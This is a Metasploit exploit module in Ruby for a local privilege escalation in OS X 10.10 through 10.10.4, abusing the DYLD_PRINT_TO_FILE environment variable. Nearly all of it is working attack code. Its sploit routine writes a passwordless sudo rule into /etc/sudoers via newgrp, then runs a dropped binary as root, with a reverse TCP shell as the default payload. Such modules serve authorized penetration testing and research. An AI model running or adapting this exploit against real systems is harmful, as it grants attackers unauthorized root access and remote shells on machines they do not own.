Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Local  
  
Rank = GreatRanking  
  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation',  
'Description' => %q{  
In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment  
variable is used for redirecting logging data to a file instead of  
stderr. Due to a design error, this feature can be abused by a local  
attacker to write arbitrary files as root via restricted, SUID-root  
binaries.  
},  
'Author' => [  
'Stefan Esser', # Vulnerability discovery and PoC  
'joev' # Copy/paste monkey  
],  
'References' => [  
['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'],  
['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/']  
],  
'DisclosureDate' => 'Jul 21 2015',  
'License' => MSF_LICENSE,  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64,  
'SessionTypes' => ['shell'],  
'Privileged' => true,  
'Targets' => [  
['Mac OS X 10.10-10.10.4', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'osx/x64/shell_reverse_tcp'  
}  
))  
  
register_options([  
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])  
])  
end  
  
def exploit  
print_status("Writing payload to `#{payload_file}'")  
write_file(payload_file, binary_payload)  
register_file_for_cleanup(payload_file)  
cmd_exec("chmod +x #{payload_file}")  
  
print_status("Executing exploit at `#{payload_file}'...")  
cmd_exec(sploit)  
end  
  
def check  
(ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  
end  
  
def ver?  
Gem::Version.new(get_sysinfo['ProductVersion']).between?(  
Gem::Version.new('10.10.0'), Gem::Version.new('10.10.4')  
)  
end  
  
def sploit  
%Q{/bin/sh -c "echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"}  
end  
  
def binary_payload  
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
end  
  
def payload_file  
@payload_file ||=  
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"  
end  
  
end  
`